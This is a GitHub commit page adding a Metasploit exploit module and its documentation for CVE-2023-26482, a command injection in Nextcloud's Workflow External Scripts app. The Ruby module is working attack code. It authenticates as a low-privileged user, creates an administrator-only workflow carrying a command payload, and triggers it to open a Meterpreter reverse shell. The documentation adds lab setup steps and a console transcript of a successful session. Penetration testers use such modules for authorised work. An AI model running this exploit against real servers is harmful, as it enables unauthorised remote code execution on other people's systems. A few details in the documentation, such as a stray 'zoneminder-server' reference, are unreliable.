Skip to content

Commit c598d8b

Browse files
authored
Land #20020, adds module for Nextcloud Workflow Remote Code Execution
Add exploit module for the nextcloud workflow vulnerability CVE-2023-26482
2 parents 59a8798 + 97ecaa7 commit c598d8b

File tree

2 files changed

+378
-0
lines changed

2 files changed

+378
-0
lines changed
Lines changed: 148 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,148 @@
1+
## Description
2+
3+
This module exploits a command injection that leads to a remote execution in Nextcloud installations if the app Workflow External Scripts is also installed.
4+
The vulnerability affects Nextcloud versions >= 24.0.0, >= 25.0.0, >= 18.0.0, >= 19.0.0, >= 20.0.0, >= 21.0.0, >= 22.0.0, >= 23.0.0, >= 24.0.0, >= 25.0.0
5+
6+
A missing scope validation allowed users to create workflows which are designed to be only available for administrators. In combination with Workflow External Script, this vulnerability
7+
leads to authenticated remote command execution.
8+
9+
More about the vulnerability detail: [CVE-2023-26482](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-26482).
10+
11+
The module will automatically use `cmd/linux/http/x64/meterpreter/reverse_tcp` payload.
12+
13+
The module will check if the target is vulnerable, by adding and removing a dummy-workflow.
14+
15+
16+
## Vulnerable Application
17+
18+
[Nextcloud](https://nextcloud.com/) is a suite of client-server software for creating and using file hosting services.
19+
20+
This module has been tested successfully on Nextcloud versions:
21+
22+
* Nextcloud version 24.0.5
23+
24+
### Source and Installers
25+
26+
* [Source Code Repository](https://github.com/nextcloud/server/releases/tag/v24.0.5)
27+
* [Docker](https://hub.docker.com/_/nextcloud)
28+
29+
### Docker Installation
30+
31+
This exploit was tested using a [nextcloud docker container](https://hub.docker.com/_/nextcloud) and [docker-compose](https://docs.docker.com/compose/)
32+
with the following docker-compose.yml:
33+
34+
```yaml
35+
volumes:
36+
nextcloud:
37+
db:
38+
39+
services:
40+
db:
41+
image: mariadb:10.6
42+
restart: always
43+
command: --transaction-isolation=READ-COMMITTED --log-bin=binlog --binlog-format=ROW
44+
volumes:
45+
- db:/var/lib/mysql
46+
environment:
47+
- MARIADB_ROOT_PASSWORD=root
48+
- MARIADB_PASSWORD=root
49+
- MARIADB_DATABASE=nextcloud
50+
- MARIADB_USER=nextcloud
51+
52+
app:
53+
image: nextcloud:24.0.5
54+
restart: always
55+
ports:
56+
- 8080:80
57+
links:
58+
- db
59+
environment:
60+
- MYSQL_PASSWORD=root
61+
- MYSQL_DATABASE=nextcloud
62+
- MYSQL_USER=root
63+
- MYSQL_HOST=db
64+
- NEXTCLOUD_ADMIN_PASSWORD=admin
65+
- NEXTCLOUD_ADMIN_USER=admin
66+
- NEXTCLOUD_TRUSTED_DOMAINS="192.168.233.64:8080"
67+
depends_on:
68+
- db
69+
```
70+
71+
**_NOTE:_** Change the IP-address and port for NEXTCLOUD_TRUSTED_DOMAINS for your setup
72+
73+
After `docker compose up -d` login as admin and install the workflow app: "Workflow external script" and
74+
create a low privileged user `alice`. Make sure that you choose "Cron(Recommended)" in the Settings for "Background Jobs".
75+
Before we can run the exploit, we need to start the cronjob. This is crucial because otherwise the
76+
payload doesn't get triggered:
77+
78+
```
79+
docker exec -it -u www-data nextcloud-app-1 /bin/bash
80+
watch -n2 php cron.php
81+
```
82+
83+
Wait until you the watch-command outputs something like: "Every 2.0s: php cron.php".
84+
85+
## Verification Steps
86+
Example steps in this format (is also in the PR):
87+
88+
1. Do: `use exploit/unix/webapp/nextcloud_workflows_rce`
89+
2. Do: `set RHOSTS [ips]`
90+
3. Do: `set LHOST [lhost]`
91+
4. Do: `set RPORT 8080`
92+
5. Do: `set USERNAME alice`
93+
6. Do: `set PASSWORD alice-password`
94+
7. Do: `run`
95+
8. You should get a shell after a while
96+
97+
## Options
98+
99+
### TARGETURI
100+
101+
Remote web path to the nextcloud installation (default: /)
102+
103+
### USERNAME
104+
105+
The low-privileged username to authenticate to nextcloud
106+
107+
### PASSWORD
108+
109+
The password for the low-privileged user
110+
111+
## Scenarios
112+
113+
In this scenario the zoneminder-server has the IP address 192.42.0.254. The IP address of the metasploit host is
114+
192.42.1.188.
115+
116+
### Nextcloud 24.0.5(docker-compose)
117+
118+
The following demo shows how to use the exploit:
119+
120+
```
121+
msf6 > use exploit/unix/webapp/nextcloud_workflows_rce
122+
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
123+
msf6 exploit(unix/webapp/nextcloud_workflows_rce) > set RHOSTS 192.168.233.64
124+
RHOSTS => 192.168.233.64
125+
msf6 exploit(unix/webapp/nextcloud_workflows_rce) > set LHOST 192.168.233.117
126+
LHOST => 192.168.233.117
127+
msf6 exploit(unix/webapp/nextcloud_workflows_rce) > set RPORT 8080
128+
RPORT => 8080
129+
msf6 exploit(unix/webapp/nextcloud_workflows_rce) > set USERNAME alice
130+
USERNAME => alice
131+
msf6 exploit(unix/webapp/nextcloud_workflows_rce) > set PASSWORD CaeD4ohchaiv5ieDooBa
132+
PASSWORD => CaeD4ohchaiv5ieDooBa
133+
msf6 exploit(unix/webapp/nextcloud_workflows_rce) > run
134+
[*] Started reverse TCP handler on 192.168.233.117:4444
135+
[*] Sending payload..
136+
[+] Workflow created
137+
[*] Waiting for the payload to connect back ..
138+
[*] Sending stage (3045380 bytes) to 192.168.233.64
139+
[*] Meterpreter session 1 opened (192.168.233.117:4444 -> 192.168.233.64:37090) at 2025-04-10 13:27:49 +0000
140+
[+] Payload connected!
141+
[*] Cleaning up
142+
143+
meterpreter > getuid
144+
Server username: www-data
145+
```
146+
147+
## Limitations
148+
Ensure that your `WfsDelay` advanced option is set to a value that allows `cron` to execute the payload. Default is 16 minutes
Lines changed: 230 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,230 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Exploit::Retry
11+
12+
def initialize(info = {})
13+
@token = nil
14+
15+
super(
16+
update_info(
17+
info,
18+
'Name' => 'Nextcloud Workflows Remote Code Execution',
19+
'Description' => %q{
20+
This module adds workflows as an authenticated user
21+
which can only be created by administrators by design.
22+
If the app "Nextcloud Workflow Script" is installed it
23+
is possible to generate a workflow that executes commands.
24+
},
25+
'License' => MSF_LICENSE,
26+
'Author' => [
27+
'Enis Maholli', # Discovery
28+
'arianitisufi', # Discovery
29+
'Armend Gashi', # Discovery
30+
'whotwagner' # Metasploit Module
31+
],
32+
'References' => [
33+
['URL', 'https://github.com/nextcloud/security-advisories/security/advisories/GHSA-h3c9-cmh8-7qpj'],
34+
['CVE', '2023-26482']
35+
],
36+
'Platform' => %w[linux unix],
37+
'Targets' => [
38+
[
39+
'nix Command',
40+
{
41+
'Platform' => %w[unix linux],
42+
'Arch' => ARCH_CMD,
43+
'Type' => :unix_cmd,
44+
'DefaultOptions' => {
45+
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',
46+
'FETCH_WRITABLE_DIR' => '/tmp'
47+
}
48+
}
49+
],
50+
],
51+
'Privileged' => false,
52+
'DisclosureDate' => '2023-03-30',
53+
'DefaultOptions' => { 'WfsDelay' => 16.minutes.seconds.to_i },
54+
'DefaultTarget' => 0,
55+
'Notes' => {
56+
'Stability' => [CRASH_SAFE],
57+
'Reliability' => [REPEATABLE_SESSION],
58+
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
59+
}
60+
)
61+
)
62+
63+
register_options(
64+
[
65+
OptString.new('TARGETURI', [true, 'Path to nextcloud', '/']),
66+
OptString.new('USERNAME', [true, 'The username to authenticate as']),
67+
OptString.new('PASSWORD', [true, 'The password to authenticate with'])
68+
]
69+
)
70+
end
71+
72+
def parse_token(res)
73+
return if res.nil?
74+
75+
if defined? res.get_html_document&.at('//head/@data-requesttoken')&.value
76+
Rex::Text.uri_encode(res.get_html_document.at('//head/@data-requesttoken').value)
77+
else
78+
print_error('token not found')
79+
nil
80+
end
81+
end
82+
83+
def authenticate(user, pass)
84+
res = send_request_cgi(
85+
'uri' => normalize_uri(target_uri.path, 'login'),
86+
'method' => 'GET',
87+
'keep_cookies' => true
88+
)
89+
fail_with(Failure::UnexpectedReply, 'Getting login page failed') if res&.code != 200
90+
@token = parse_token(res)
91+
fail_with(Failure::UnexpectedReply, 'Request Token not found') if @token.nil?
92+
93+
data = "user=#{user}&password=#{pass}&requesttoken=#{@token}"
94+
95+
res = send_request_cgi(
96+
'uri' => normalize_uri(target_uri.path, 'login'),
97+
'method' => 'POST',
98+
'data' => data.to_s,
99+
'keep_cookies' => true
100+
)
101+
102+
fail_with(Failure::NoAccess, 'Login failed') if res.nil? || res.code == 401
103+
end
104+
105+
def request_token
106+
res = send_request_cgi(
107+
'uri' => normalize_uri(target_uri.path, 'csrftoken'),
108+
'method' => 'GET',
109+
'keep_cookies' => true
110+
)
111+
fail_with(Failure::UnexpectedReply, 'Getting login page failed') if res&.code != 200
112+
@token = res.get_json_document['token']
113+
fail_with(Failure::UnexpectedReply, '2: Request Token not found') if @token.nil?
114+
end
115+
116+
def create_workflow(operation)
117+
res = send_request_cgi(
118+
'uri' => normalize_uri(target_uri.path, 'ocs/v2.php/apps/workflowengine/api/v1/workflows/user'),
119+
'method' => 'POST',
120+
'headers' => { 'requesttoken' => @token, 'Content-Type' => 'application/json' },
121+
'vars_get' => { 'format' => 'json' },
122+
'data' => {
123+
'id' => -1743078702939,
124+
'class' => 'OCA\\WorkflowScript\\Operation',
125+
'entity' => 'OCA\\WorkflowEngine\\Entity\\File',
126+
'events' => ['\\OCP\\Files::postCreate', '\\OCP\\Files::postWrite', '\\OCP\\Files::postTouch'],
127+
'name' => '',
128+
'checks' => [
129+
{
130+
'class' => 'OCA\\WorkflowEngine\\Check\\FileName',
131+
'operator' => 'matches',
132+
'value' => '/.*/',
133+
'invalid' => false
134+
}
135+
],
136+
'operation' => operation,
137+
'valid' => true
138+
}.to_json,
139+
'keep_cookies' => true
140+
)
141+
142+
fail_with(Failure::NoAccess, 'Login failed') unless res&.code == 200
143+
json_data = res.get_json_document
144+
flow_id = json_data.dig('ocs', 'data', 'id')
145+
flow_id
146+
end
147+
148+
def upload_file(filename)
149+
res = send_request_cgi(
150+
'uri' => normalize_uri(target_uri.path, "remote.php/webdav/#{filename}"),
151+
'method' => 'PUT',
152+
'headers' => { 'requesttoken' => @token, 'Content-Type' => 'text/plain ' }
153+
)
154+
fail_with(Failure::UnexpectedReply, 'Unable to upload file') unless res&.message == 'Created'
155+
end
156+
157+
def delete_workflow(workflow_id)
158+
send_request_cgi(
159+
'uri' => normalize_uri(target_uri.path, "ocs/v2.php/apps/workflowengine/api/v1/workflows/user/#{workflow_id}"),
160+
'vars_get' => { 'format' => 'json' },
161+
'method' => 'DELETE',
162+
'headers' => { 'requesttoken' => @token, 'Content-Type' => 'application/json' },
163+
'keep_cookies' => true
164+
)
165+
end
166+
167+
def delete_file(user, filename)
168+
send_request_cgi(
169+
'uri' => normalize_uri(target_uri.path, "remote.php/dav/files/#{user}/#{filename}"),
170+
'method' => 'DELETE',
171+
'headers' => { 'requesttoken' => @token, 'Content-Type' => 'text/plain ' }
172+
)
173+
end
174+
175+
def check
176+
# For the check command
177+
cookie_jar.clear
178+
179+
authenticate(datastore['USERNAME'], datastore['PASSWORD'])
180+
request_token
181+
flow_id = create_workflow('sleep 1')
182+
183+
Exploit::CheckCode::Safe('Target is not vulnerable') if flow_id.nil?
184+
185+
delete_workflow(flow_id)
186+
Exploit::CheckCode::Vulnerable
187+
end
188+
189+
def exploit
190+
# Main function
191+
cookie_jar.clear
192+
193+
authenticate(datastore['USERNAME'], datastore['PASSWORD'])
194+
195+
request_token
196+
197+
case target['Type']
198+
when :unix_cmd
199+
execute_command(payload.encoded)
200+
end
201+
end
202+
203+
def execute_command(cmd, _opts = {})
204+
print_status('Sending payload..')
205+
@temp_filename = "#{Rex::Text.rand_text_alpha(5..10)}..txt"
206+
@flow_id = create_workflow(cmd.to_s)
207+
208+
fail_with(Failure::UnexpectedReply, 'Unable to create workflow') if @flow_id.nil?
209+
210+
print_good('Workflow created')
211+
upload_file(@temp_filename)
212+
end
213+
214+
def need_cleanup?
215+
defined?(@temp_filename) && @temp_filename
216+
end
217+
218+
def cleanup
219+
super
220+
return unless need_cleanup?
221+
222+
print_status('Cleaning up')
223+
224+
delete_workflow(@flow_id) if defined?(@flow_id) && @flow_id
225+
delete_file(datastore['USERNAME'], @temp_filename) if defined?(@temp_filename) && @temp_filename
226+
227+
@flow_id = nil
228+
@temp_filename = nil
229+
end
230+
end

0 commit comments

Comments
 (0)